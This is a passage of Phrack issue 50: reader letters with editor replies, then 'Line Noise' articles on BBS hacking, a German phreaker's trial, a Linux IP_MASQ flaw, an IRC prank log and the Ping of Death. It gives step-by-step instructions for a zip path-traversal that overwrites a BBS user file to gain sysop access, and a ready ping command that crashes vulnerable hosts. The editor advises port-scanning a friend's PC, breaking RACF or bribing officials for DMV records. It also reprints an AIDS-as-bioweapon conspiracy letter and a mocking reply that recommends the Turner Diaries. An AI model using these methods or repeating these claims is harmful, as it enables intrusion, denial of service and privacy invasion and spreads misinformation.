‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear phrack,

I want to be added to the list. I was also wondering if you had ay publications or information on TEMPEST monitoring? Also know as Van Eck monitoring.

[ We published a Dr. Moeller's paper continuing on Van Eck's work in Phrack issue 44.

You might also want to check out http://www.thecodex.com

for a self‑contained anti‑tempest terminal for about 10K. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just read your editorial in Phrack 48 and I feel like giving you my two= cents

worth. I think you did an excellent critique on the "scene." As a person who has been watching for a while, and as a person who has been through it, I found it nice, to say the least, to find others who actually seem to have their head on straight. This letter was originally much longer, but I shortened it because I think you get the point.

I started programming computers in 1983 at the age of 6. I was running DOS 2.0 and I had a blazing fast 1200 baud modem. At the time, I had no mentors, no teachers, no friends that could teach me how to use that incredible machine. The books of the time were cryptic, especially for an age where most children could not read, much less program. But I did my= best.

Ten years later, I was still on my own.

I didn't get ahold of a copy of Phrack until 1991. I thought it was really cool that people like me would get together and exchange infomation, talk computers, etc.

In '94, I got into viruses and prolly was one of the better independant (i.e. not in a group) writers. It was about that time I got onto IRC. Most of the time I would hang out in #virus, but every now and then I would pop into #hack. I never stayed...I couldn't stand the arrogance.

Shortly before I went to school, I was in competition for control of a new freenet versus a local hacker group. A month after I went to college, that group got busted. I got lucky.

Earlier this year, I went on Good Morning America to talk about viruses. Looking back, it is prolly the single dumbest thing I have done in my whole life.

As much as I wanted to, I've never been to a 2600 meeting, never been to a Con. Never really had any hacker friends. It's always been just me. I'm sure I know less about breaking into computers than the guy who has been doing it for a week but has access to tons of partners. But I still consider myself a hacker. My interest has been one of learning about the system. I've been learning longer than most. I rarely break into a system. I have access to unix systems, and even a VAX. I don't want the latest hacking tools. I write my own, with my theories. I don't need much else. But I've never had anyone to share it with. But I think I realize that the past is the past, and I won't ever get to attend the old cons or sit on conference calls, as much as I'd love to. I won't bother with the latest cons because I can get the same stuff at a college party.

Well, that is about it. I apologize if it is poorly written. Bad english skills :) I hate writing these because I grow tired of getting slammed by some arrogant asshole. Thats prolly why I have been doing this alone for 13 years. After your editorial, I wonder how many people will stop showing up at the cons...I hate the isolation, but I would never want to be a part of a "scene" which has turned from mature goals to juvenile ones. Just my thoughts...

Evil Avatar

[ Actually, I have more respect for the people who continue to stay in the fringes, learning on their own rather than scurrying for attention in the media and in the community. (Yes, like me.)

To be fair though, don't sell yourself short by avoiding Cons if you really want to check them out. Despite all the ranting I did in that editorial, I still have many friends in the community and enjoy meeting new ones at conferences. Not everyone thinks it is cool to trash a hotel, or to try to out "elite" one another. Unfortunately, the loudest and most visible people at such events tend to be the most juvenile. If you find this happening, do what I do: get the hell out of the conference area and find a convenient bar. The older hackers will eventually find you there, and you can all drink in peace and actually talk unmolested. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phrack ‑‑

Been a reader since the 80s, and I'm one of the originals... Would like to submit a poem that I wrote that details the experience of a hacker who left the scene for several years ‑‑ Coming back to find it in utter Dissaray... Definitely not the way he left it... Well ‑‑ You guys will let me know what you think

"Where Have All The Hackers Gone"?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Original Poetry by: Jump'n Jack Flash ‑916‑

On a cold night in the dead of winter a soul stumbles into #hack and asks: 'Where have all the Hackers Gone?'

Immediately the group recognizes him as one of the originals.

'Help us change our grades!' a voice calls out from the huddled masses. 'Help me hack root on a NYNEX system!' another voice asks.

The soul clutches his bowed head and covers his ears, trying to remember back to before he involuntarily left the scene a few years ago.

'The only thing that kept me sane while I was imprisioned was the thought of seeing my friends and fellow hackers, now I demand you tell me Where Have All The Hackers Gone?' the soul begs the crowd of jubulent newbies.

Silence is the only answer he receives,

For there are no real hackers here.

Then a voice speaks up and says,

'They're gone! You're the first we've seen!'

The soul asks,

'What do you mean?'

And Silence is the only answer he receives,

For there are now real hackers here.

And like a wall crumbling down it comes to him and he falls to his knees, like hunting for human life after a Nuclear war he stumbles out of the room, And he hurries to the place where only the Elite could go just a few years= ago,

But when he arrives he is shocked and amazed,

There are no hackers here on this dark winter day.

And he stumbles into traffic,

feeling the snow crunch beneath his feet,

and he shouts into the night for the elite,

'Where Have All The Hackers Gone?'

And Silence is the only answer he receives,

For there are no real hackers here.

[ Nice poem man...thanks!

Where did the hackers go? They grew up and got real jobs... ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd love to say that I'll miss Erik, but after that obnoxious, immature rant, all I can say is good riddance. Now maybe Phrack will be useful again.

[ Well, I guess not everyone agrees with me, which is a good thing. But, uh, I'm not gone man...just narrowing my duties...so fuck you. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

'' WARNING ''

COVERT EXTERMINATION OF THE POPULATION. !!!=20

THE UNITED NATIONS=3DNEW WORLD ORDER HAS TURNED AMERICA INTO A EXTERMINATION CAMP. THE PENTAGON GERM '' AIDS '' WAS CREATED AT A GERM WARFARE LAB AT FT, DETRICK, MD. AIDS AND CANCER CELLS ARE BEING INJECTED INTO PEOPLE UNKNOWING UNDER THE GUISE OF VACCINES AND SOME PHARMACEUTICALS.

SOMETIMES THE TRUTH IS SO UGLY WE DO NOT WANT TO BELIEVE IT. !! AND IF WE DO NOTHING, THEN WE DESERVE IT. !

BELIEVE IT OR NOT. DISTRIBUTE WIDELY.

'' HACK OR CRACK THE UNITED NATIONS =3D NEW WORLD ORDER. '' LONG LIVE THE POWER THROUGH RESISTANCE.'' !!!

SONS OF LIBERTY MILITIA

312 S. WYOMISSING, AVE.

SHILLINGTON, PA. 19607 U.S.A.

610‑775‑0497 GERONIMO@WEBTV.NET

[ It's about time we got some mail from some kind of Militia‑types! Let's all arm up to prepare for the revolution! A healthy dose of AK‑47's and PGP will save us all from the ZOG hordes when the balloon goes up.

Hey, have you guys read the Turner Diaries by Andrew Macdonald? Get it from Barricade Books, 150 5th Ave, NY, NY 10011.

Ahem. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i want a credit card generator

[I want a pony]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello !!!

I just read in P48‑02 the letter of the russian subscriber who tells you=20 (the editors) the story about the FAPSI and they plan to order all=20 ISPs to provide for a possibilty for them to read all the mail.

In the editor's note below that you say that you fear your country (I assume it's the USA) is also heading towards that goal.=20

Well, I live in Germany, and it has already happened here. That means,=20 every ISP (and this is not the exact term, as it also includes all sorts of information providers, ie telephone companies ‑ but excludes=20 private BBSs, I believe) are forced to provide a method that not only ‑ Allows the government/police to read everything that is written but also ‑ Without even the ISP noticing it (though I don't know how this would=20 be ensured, technically).

=20

OK, this is not the same as in Russia, as they don't copy ALL the mail and= =20

news, but only that of persons suspected of a crime strong enough=20 to allow it, ie it's the same thing that's needed to open people's=20 mails. Still, I feel it's certainly a step in the wrong direction.

Note that cryptography is not (yet ?) forbidden in de.

=20

Regards,=20

=20

Thomas=20

[ Germany? Governmental rights violations? Say It isn't so! Should I get= my

brown shirt out of the closet for my next visit to Berlin? :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, I want to be a hacker and I need some help. I have read countless reports on UNIX, VMS, and all that other jazz but that still doesn't help me with my problem.

I want to be able to hack into someone's home PC from my own home. Now, most PC's aren't capable of doing this but, this person has a connection on the internet and is also linked to his work in LONDON, ONTARIO at a place called IAPA. (industrial accident prevention association) Anyway, he runs WINDOWS 95' and is using NETCOM. Now I know his password if that does me any good, but how do I go about doing this?

SHAOULIN

[ When you say "I want to hack his home PC" what do you mean?

Just because he uses NETCOM, that doesn't mean you can find him. He is probably being assigned a dynamic IP address each time he calls in to the network. Even so, let's say you can discern his IP address. Even if a computer is hooked into the Internet, it is only as insecure as the services it offers to the world.

If your friend is running Windows 95, then you may only be limited to attacking any SMB‑style shared directories or perhaps via FTP. In either case, if you know this person's password, then you can probably read/write anything you want to on their system. Run a port scanner against it and see what you can access, and plan based on that. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This message was sent to you by NaughtyRobot, an Internet spider that crawls into your server through a tiny hole in the World Wide Web. =20

NaughtyRobot exploits a security bug in HTTP and has visited your host system to collect personal, private, and sensitive information. =20

It has captured your Email and physical addresses, as well as your phone and credit card numbers. To protect yourself against the misuse of this information, do the following:

=20

1. alert your server SysOp,

2. contact your local police,

3. disconnect your telephone, and

4. report your credit cards as lost.

=20

Act at once. Remember: only YOU can prevent DATA fires.

=20

This has been a public service announcement from the makers of NaughtyRobot ‑‑ CarJacking its way onto the Information SuperHighway.

[ Funny, my phone isn't ringing, and my credit is still only as screwed up as it was when I got through with it. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi

I'm looking for some cellular pheaking information

but is verry hard to find god information

can giveme something to work on??? :‑)

[ The best site going is Dr. Who's Radiophone site at:

http://www.l0pht.com/radiophone ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I just have a question to ask. How would I bypass Surfwatch so that I can go into web sites that I would like to see?

[ It is very easy to bypass SurfWatch. Stop using Mommy & Daddy's computer and buy one of your own. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i was recently using A‑Dial a couple of months ago, and came up with about 10 or 12 different numbers starting at 475‑1072. Curious about this, I called one back, using a mini‑terminal. What I expected wasn't this. What it said is in the file attached to the letter. It says the same thing with all of the numbers. I could use some info on what the hell this is, because I never heard of Annex. Thanx.

Data Case

[ What you have connected into is more than likely a kind of terminal server. From there you can usually enter a system name to connect directly into the specified system, or enter in "cli" to go into the command line interpreter where you have more options to choose from including "help." ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Do you know where I can find texts on hacking into the California=20 Department of Motor Vehicle Records? My friend's identity was stolen=20 for credit card fraud and the person who did it even went so far as to=20 get a CA driver's license to impersonate her. The worst part is that=20 Visa won't release a copy of the fraudulent person's fake driver's=20 license to my friend, so she can't find out who this person actually is.=20 Do you know of any other ways we can get this person?

Binky

[ Gee, Binky. If VISA is involved and it was credit card fraud, then is the Secret Service involved too? If so, then why on earth do you (or your friend) want to get in the middle of it? You'll know soon enough who the person is when they get charged, or is this just a Charles Bronson style vigilante thing?

California's DMV (as well as most public records databases in that state) is kept somewhat restricted to public queries due to the large number of celebrities living in the state, or otherwise you could just go buy the information directly from the state.

If you're thinking about pulling a "Mitnick" and breaking into such a database, then you better know something about IBM mainframes and know how to defeat RACF. Or be willing to dig around in the trash until you locate a valid account. Even if you find a valid RACF userid, you will have 3‑5 tries per account to guess a valid password until the account is locked out (which of course will let them know you were trying to hack them.)

For an easier solution, you might want to looking in the yellow pages for a private investigator and have them do a search on Information America or NIA and get the listing for you, or bribe a civil servant. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EOF

Line Noise

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

3 of 16

// // /\

// // //\

==== // //

/\ // // \\

//\\ // // //

// \\/ \\ // /

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑<>‑‑

=‑‑=‑‑=‑‑=‑‑

Portable BBS Hacking

by: Khelbin

=‑‑=‑‑=‑‑=‑‑

This hack basically has little to do with the BBS software itself but with the archiver which is being used. I've used this technique on a mock Renegade setup and with pkzip/pkunzip as the archiver. I'm sure that this same type of technique will be successful on many other BBS platforms and with other archivers as well. While explaining this, I will use Renegade and pkzip/pkunzip as my example.

A Renegade setup is most likely vulnerable if it will pkunzip any user supplied zipfile. This is because Renegade's default command to unzip files is "pkunzip ‑do <filename>". The ‑d flag unzips the file retaining any directories which were included into the zip file and the ‑o flag will automatically overwrite any file.

Suppose the remote system is also setup in a normal Renegade fashion. Let's use this file tree as an example:

C:\RENEGADE\

C:\RENEGADE\TEMP\

C:\RENEGADE\DATA\

The other subdirectories are unimportant for our discussion. Suppose that C:\TEMP is where our uploaded file will go for it to be unzipped and then scanned for viruses. C:\RENEGADE\DATA\ is where the USERS.DAT file is stored, containing all the users login information.

Wouldn't it be nice if we could put our own USERS.DAT in there instead? To do this, you must first generate a USERS.DAT file. This is easy enough. Just download a copy of Renegade which is the same version as the target machine and then use the user editor to make a "SYSOP" account with the password "SYSOP" (this should be the default anyway on the USERS.DAT file).

Here's how we prepare the zipfile on our own machine:

C:\>md tmp

C:\>md c:\tmp\ddsdata

C:\>copy c:\renegade\data\users.dat c:\tmp\ddsdata C:\>cd tmp

C:\TMP>pkzip ‑pr evil.zip

Now we get out our trusty hex editor and edit evil.zip. Change every occurrence of "ddsdata" in evil.zip to read "../data" and make sure that the slash is a forward‑slash and not a back‑slash. Now when you upload evil.zip to this particular BBS, it will expand to "../data/users.dat" and your USERS.DAT file will overwrite their USERS.DAT file since the ‑od flag is default on Renegade.

Now you can login as SYSOP with a password SYSOP and do as you please. You could also overwrite virtually any file on a BBS like this and believe me, many do have this vulnerability or something very close to it. You are only limited in how much you can traverse up and down directories by DOS's maximum file length of 12 (8 plus "." plus 3 = 12). I quickly tried inserting a few blocks into the zipfile in order to produce a limitless amount of traversing which but it seemed to corrupt the file for some reason.

Removing the ‑o flag is not a fix for this bug. Without the ‑o flag, you can "hang" the system in a denial of service attack. By again hex editing the names of the files within your evil.zip, you can make it have two files with the same name. When it tries to unzip the second file, it will prompt locally whether to overwrite the file or not and "hang" the board. Instead, the ‑d flag is what should be removed.

This is just an example as I'm sure many other BBS systems do this same type of uncompressing. I'd also bet that arj, lha, and several others, can also be hex edited and yield similar results. Either way, it's either take out the "restore/create directories within archive" option or pay the price.

‑‑‑‑<>‑‑

German Hacker "Luzifer" convicted by SevenUp / sec@sec.de

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SYNOPSIS

========

On February 5th, 1997, Wilfried Hafner aka "Luzifer" was sentenced to three years incarceration ‑ no parole, no probation. I've got the story for you right from the courtroom in Munich, Germany. This is one of the first ever cases in which a hacker in Germany actually gets convicted, so it's particularly interesting. (Although the court and I use the term "hacking", this is actually a case of unethical electronic fraud.)

LUZIFER

=======

Wilfried Hafner (Luzifer) was born on April 6, 1972, in Breschau Italy. According to his own circulum vitae, which he quoted in court himself, he's been a pretty smart guy: He started programming at 8 years,and cracked about 600 Commodore programs, at 14, got a modem and then started a BBS. In 1990 he was blueboxing to some overseas partylines to communicate with others. But he didn't seem to use any other "elite" chat systems like x.25 or IRC, so most people (including myself) didn't know him that well. In 1992 he moved to South Germany to goto school.

WHAT HE DID

===========

Luzifer set up some overseas partylines in the Dominican Republic, Indonesia, The Philippines, and Israel. Some lines included live chat, but most were just sex recordings. Then he used a local company PBX (a Siemens Hicom 200 model), from his homeline, which was only "protected" by a one digit code, to dialout to his partylines and his girlfriend in Chile. He also was blueboxing (which the prosecution calls "C5‑hacking") from five lines simultaneously, mostly via China. To trick the partyline provider and overseas telcos (who are aware of computer‑generated calls) he wrote a little program that would randomize aspects of the calls (different calling intervals and different durations for the calls).

He got arrested the first time on 03/29/95, but was released again after 13 days. Unfortunately he restarted the phreaking right away. If he'd had stopped then, he would just have gotten 1 year probation. However, he was arrested again in January 1996, and has been in prison since.

Here are some numbers (shouts to Harper(tm)'s Index):

‑ Number of logged single phone connections: 18393

‑ Profit he makes for 1 min. partyline calls: US$ 0.35 ‑ 0.50 ‑ Total Damage (= lost profit of telco): US$ 1.15 Million ‑ Money that Luzifer got from the partylines: US$ 254,000

‑ Paragraph in German Law that covers this fraud: 263a StG

‑ Duration of all calls, if made sequentially: 140 days

THE TRIAL

=========

This trial was far less spectacular than OJ's. While 7 days had been scheduled, the trial was over after the second day. The first day went quite quick: The court didn't have enough judges available (two were present, but three required), so it had to be postponed after some minutes.

At the second day, both, the prosecution and Luzifers two lawyers, made a deal and plead guilty for three years prison (but no financial punitive). In Germany, all sentences over two years cannot be carried out on probation. But he has been allowed the use of a notebook computer. Rumor has it that he might be get an "open" execution, meaning that he has to sleep in the prison at night, but can work or study during the day.

The deal looked like the prosecution dropped all counts (including the one abusing the PBX in the first place) but two: one for the blueboxing before getting arrested, and one count for blueboxing afterwards. They don't treat all 18393 connections as a separate count, but just each start of the "auto‑call‑program".

QUOTES

======

Here are some interesting and funny quotes from the trial:

"Just for fun and technical curiosity" ‑ Defendant

"Wouldn't one line be enough for technical experience"? ‑ Judge "I ordered 21 lines, but just got 5" ‑ Defendant

"Lots of criminal energy" ‑ Prosecutor

"He's obsessed and primarily competing with other hackers" ‑ Lawyer "A generation of run down computer kids" ‑ Prosecutor

"He may keep the touchtone dialer, but we cannot return his laser fax, because the company's PBX number is stored in its speedial" ‑ Prosecutor "Myself and the Telekom have learned a lot" ‑ Prosecutor

"New cables must be installed, new satelites have to be shot into the air" ‑ Prosecutor about the consequences of used up trunks and intl. lines "The German Telekom is distributing pornography with big profits" ‑ Lawyer

‑‑‑‑<>‑‑

Yet another Lin(s)ux bug!

By: Xarthon

IP_MASQ is a commonly used new method of traffic forwarding which may be enabled in newer Linux kernel versions. I have been doing some research into this new feature.

IP_MASQ fails to check to make sure that a packet is in the non routable range. If you are able to get any packet to its destination, the header of that packet is rewritten.

Because of the lack of non‑routable ip checking, the same tactics that would be used a gateway machine, may also be used on a machine that uses ip_masq.

So in conclusion, you are able to spoof as if you are on the inside network, from the outside. But hey, what can you expect from Linux?

‑‑‑‑<>‑‑

11.22.96

daemon9 and w0zz's adventure into warez‑pup land...

*W|ZaRD* u there?

‑> *W|ZaRD* yes?

<w0zz> d9

<d9> hi w0zz

*W|ZaRD* r u the prez of BREED?

*** |COBRA| invites you to channel #supreme

<d9> I am hungry

‑> *W|ZaRD* yup

*_e|f_* hi there ‑ you got a minute?

*W|ZaRD* alright.. i got a question for u...

*** d9 (plugHead@onyx.infonexus.com) has joined channel #supreme *** Topic for #supreme: [SpR] Still in discussion phase! [SpR] *** #supreme _e|f_ 848703589

*** Users on #supreme: d9 @{Imagine} @BL|ZZaRD @W|ZaRD @|COBRA| @_e|f_ <_e|f_> re d9

*** Mode change "+o d9" on channel #supreme by _e|f_

<|COBRA|> today is going to be a bad day :(

*W|ZaRD* would you be interested in merging with like 4‑6 other groups to become 1 group.?? *W|ZaRD* i mean. all the other groups have like 11 sitez and 8‑10 suppliers like NGP *W|ZaRD* and if we merge we could be up there with Prestige, and Razor <_e|f_:#supreme> hello d9

<d9> *W|ZaRD* i mean. all the other groups have like 11 sitez and 8‑10 suppliers like NGP ‑> *W|ZaRD* hmm

*** Inviting w0zz to channel #supreme

<_e|f_> we got a discussion going on here for big plans for a lot of us "smaller" groups (smaller as compared to razor, prestige etc) :)

<d9> ah

*** Mystic12 (NONE@wheat‑53.nb.net) has joined channel #supreme <_e|f_> this is all still in discussion stages

<w0zz:#!r00t> hahahaha

*** Mode change "+o Mystic12" on channel #supreme by W|ZaRD <_e|f_:#supreme> but would you be interested in a joint venture between a few of us smaller release groups to combine into one large release group ‑ to challenge razor and prestige? <d9> w0zz

<w0zz> you've been sucked into warez kiddie conspiracies

<d9> join me

<w0zz:#!r00t> where are you?

*** Inviting w0zz to channel #supreme

*** w0zz (wozz@big.wookie.net) has joined channel #supreme

<d9> well...

*** Mode change "+o w0zz" on channel #supreme by d9

<w0zz> werd

<_e|f_> re wozz

<d9> hi w0zz

<w0zz> hi there

<_e|f_> i can send u a log to flesh out a few more details if you like <w0zz> i've got mackin' warez

<d9> hmm

<d9> sure

*w0zz* you recording this for line noise ?

*w0zz* ;)

‑> *w0zz* indeed...;)

*w0zz* heh

<d9> the thing is, I have all this porn I want to unload...

<w0zz> yah, i got da mackin porn too

<d9> but, no good place to distro it...

*** ^DRiFTeR^ (~Drifter@203.30.237.48) has joined channel #supreme *** Mode change "+o ^DRiFTeR^" on channel #supreme by _e|f_ <_e|f_> hey drifter

<d9> I was using this panix account, but all that SYN flooding stopped that cold... <_e|f_> drifter is muh vp :)

<RAgent:#!r00t> do you even know what BREED is, route?

<d9> warez pups?

<_e|f_:#supreme> drifter: d9 and wozz are from breed <_e|f_:#supreme> blizzard and wizard are from NGP <^DRiFTeR^:#supreme> k

<d9:#!r00t> HAHAHAhahahaha

<Mystic12:#supreme> I am also from NGP

*** Signoff: Mystic12 (Leaving)

<W|ZaRD:#supreme> so is Mystic12

<RAgent:#!r00t> well, looks like it. just wondered if you knew them at all <d9> w0zz... you get the new shit I send you?

*** Mystic12 (NONE@wheat‑53.nb.net) has joined channel #supreme <w0zz:#supreme> yah

<_e|f_:#supreme> sorry mystic ‑ didnt see yew there

<d9:#!r00t> nope!

*** Mode change "+o Mystic12" on channel #supreme by W|ZaRD

<w0zz> indexed and everything

<RAgent:#!r00t> hahaha

<w0zz> i spanked my monkey for hours

<RAgent:#!r00t> whee

<d9> werd.

<d9:#!r00t> AAAAAHAHAHahahhahaha WOZZ!

<_e|f_> brb

<d9> hmm

#supreme Mystic12 H@ NONE@wheat‑53.nb.net (CCINC)

#supreme ^DRiFTeR^ H@ ~Drifter@203.30.237.48 (ReaLMS oF Da NiTe ‑ HrD) #supreme w0zz H@ wozz@big.wookie.net (w0zz)

#supreme d9 H@ plugHead@onyx.infonexus.com (Built Demon Tough) #supreme {Imagine} H@ BOB@199.190.110.99 (.:tORn f#E?h:. v1.45 by SLaG) #supreme BL|ZZaRD H@ blizzard@ip222.tol.primenet.com (hehe) #supreme W|ZaRD H@ m3ntal@ip201.tol.primenet.com (M3NTaL) #supreme |COBRA| H@ cobra@slbri3p24.ozemail.com.au (100% ReVpOwEr) #supreme _e|f_ H@ _e|f_@203.26.197.12 (blah)

<w0zz:#!r00t> werd

*** Mode change "‑ooo _e|f_ |COBRA| W|ZaRD" on channel #supreme by d9 *** Mode change "‑ooo BL|ZZaRD w0zz ^DRiFTeR^" on channel #supreme by d9 *** Mode change "‑o Mystic12" on channel #supreme by d9

<W|ZaRD> hehe

*** Mode change "+o w0zz" on channel #supreme by d9

<_e|f_> sigh

<W|ZaRD> what would the new group name be.. if this happened?

<d9> the new name?

<W|ZaRD> hmm. nice takeover

<W|ZaRD> hehe

<w0zz> werd

<d9> w0zz, what do you think?

<W|ZaRD> new group name

<_e|f_> d9: ops plz

<d9> r00t? guild?

<d9> wait

<_e|f_> this is only a temp channel neway d9

<W|ZaRD> guild wuz already used

<d9> those are taken...

<_e|f_> so its a waste to do a takeover

<w0zz> i like r00t

<w0zz> oh

<w0zz> yeah

<w0zz> those guys are eleet

<d9> yah

<d9> I hear r00t has this 10 year old that can break into .mil sites... *** d9 is now known as daemon9

<w0zz> duod, he's like D.A.R.Y.L.

<W|ZaRD> hehe

<daemon9> yah..

<_e|f_> d9: i take it by this yew aint interested?

<_e|f_> :\

<daemon9> anyway, bak to pr0n.

<W|ZaRD> anywayz.. op me d00d

<w0zz> me too

<w0zz> must have m0re pr0n

*** Mode change "+m" on channel #supreme by daemon9

<daemon9> yes

*** w0zz has left channel #supreme

<daemon9> more pr0n

<w0zz:#!r00t> werd

<w0zz:#!r00t> that rooled

<daemon9> mega‑pr0n

<W|ZaRD> porn

<W|ZaRD> hehe

<daemon9> kiddie‑pr0n

<W|ZaRD> op me plz

<daemon9> wizard, you are fine the way you are.

*** w0zz is now known as [w0zzz]

*** daemon9 has left channel #supreme

*** daemon9 is now known as r0ute

<r0ute> hahaha

<[w0zzz]> heh

<r0ute> that was fun.

<r0ute> good way to wake up from a nap

‑‑‑‑<>‑‑

Large Packet Attacks

(AKA Ping of Death)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Introduction ]

Recently, the Internet has seen a large surge in denial of service attacks. A denial of service attack in this case is simply an action of some kind that prevents the normal functionality of the network. It denies service. This trend began a few months back with TCP SYN flooding and continues with the "large packet attack". In comparison with SYN flooding, the large packet attack is a much more simple attack in both concept (explained below) and execution (the attack can be carried out by anyone with access to a Windows 95 machine). TCP SYN flooding is more complex in nature and does not exploit a flaw so much as it exploits an implementation weakness.

The large packet attack is also much more devastating then TCP SYN flooding. It can quite simply cause a machine to crash, whereas SYN flooding may just deny access to mail or web services of a machine for the duration of the attack. For more information on TCP SYN flooding see Phrack 49, article 13. (NOTE: The large packet attack is somewhat misleadingly referred to as 'Ping of Death` because it is often delivered as a ping packet. Ping is a program that is used to test a machine for reachablity to see if it alive and accepting network requests. Ping also happens to be a convenient way of sending the large packet over to the target.)

The large packet attack has caused no end of problems to countless machines across the Internet. Since its discovery, *dozens* of operating system kernels have been found vulnerable, along with many routers, terminal servers, X‑terminals, printers, etc. Anything with a TCP/IP stack is in fact, potentially vulnerable. The effects of the attack range from mild to devastating. Some vulnerable machines will hang for a relatively short period time then recover, some hang indefinitely, others dump core (writing a huge file of current memory contents, often followed by a crash), some lose all network connectivity, many rebooted or simply gave up the ghost.

[ Relevant IP Basics ]

Contrary to popular belief, the problem has nothing to do with the `ping` program. The problem lies in the IP module. More specifically, the problem lies the in the fragmentation/reassembly portion of the IP module. This is portion of the IP protocol where the packets are broken into smaller pieces for transit, and also where they are reassembled for processing. An IP packet has a maximum size constrained by a 16‑bit header field (a header is a portion of a packet that contains information about the packet, including where it came from and where it is going). The maximum size of an IP packet is 65,535 (2^16‑1) bytes. The IP header itself is usually 20 bytes so this leaves us with 65,515 bytes to stuff our data into. The underlying link layer (the link layer is the network logically under IP, often ethernet) can seldom handle packets this large (ethernet for example, can only handle packets up to 1500 bytes in size). So, in order for the link layer to be able to digest a large packet, the IP module must fragment (break down into smaller pieces) each packet it sends to down to the link layer for transmission on the network. Each individual fragment is a portion of the original packet, with its own header containing information on exactly how the receiving end should put it back together. This putting the individual packets back together is called reassembly. When the receiving end has all of the fragments, it reassembles them into the original IP packet, and then processes it.

[ The attack ]

The large packet attack is quite simple in concept. A malicious user constructs a large packet and sends it off. If the destination host is vulnerable, something bad happens (see above). The problem lies in the reassembly of these large packets. Recall that we have 65,515 bytes of space in which to stuff data into. As it happens, a few misbehaved applications (and some specially crafted evil ones) will allow one to place slightly more data into the payload (say 65,520 bytes). This, along with a 20 byte IP header, violates the maximum packet size of 65,535 bytes. The IP module will then simply break this oversized packet into fragments and eschew them to their intended destination (target). The receiving host will queue all of the fragments until the last one arrives, then begin the process of reassembly. The problem will surface when the IP module finds that the packet is in fact larger than the maximum allowable size as an internal buffer is overflowed. This is where something bad happens (see above).

[ Vulnerability Testing and Patching ]

Testing to see if a network device is vulnerable is quite easy. Windows NT and Windows 95 will allow construction of these oversized packets without complaining. Simply type: `ping ‑l 65508 targethost`. In this case, we are delivering an oversized IP packet inside of a ping packet, which has a header size of 8 bytes. If you add up the totals, 20 bytes of IP header + 8 bytes of ping header + 65,508 bytes of data, you get a 65,536 byte IP packet. This is enough to cause affected systems to have problems. Defense is preventative. The only way to really be safe from this attack is to either ensure your system is patched, or unplug its network tap. There are patches available for just about every vulnerable system. For a copious list of vulnerable systems and patches, check out a 'Ping of Death' webpage near you.

daemon9

Editor, Phrack Magazine

(daemon9@netcom.com)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To: route@onyx.infonexus.com

From: xxxx xxxxxxxxxxx <xxxx@xxxxxxxxxx.com>

Subject: Re: ?

Status: RO

Actually, hang on. I've looked your story up and down looking for ways to make it more interesting and I can't. I think it's actually just too technical for us and lacks a newsworthiness that was evident in the SYN article. I mean, you never tell us why we should care about this, and frankly, I don't know why we should. So, you're welcome to take another pass at it, otherwise, I'll give you the kill fee of $100.

xxxx

[ Too techinical? Any less techincal and I would have to make everything rhyme so people wouldn't fall asleep. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑<>‑‑

Netware Insecurities

Tonto

[the rant]

I realize that to most security professionals and system administrators who will see this magazine, the term "NetWare security" is a punchline. That unfortunately does not change the fact that many people in the field, myself included, must deal with it daily. Really, honestly, I do agree with you. Please don't write me to tell me about how futile it is. I already know.

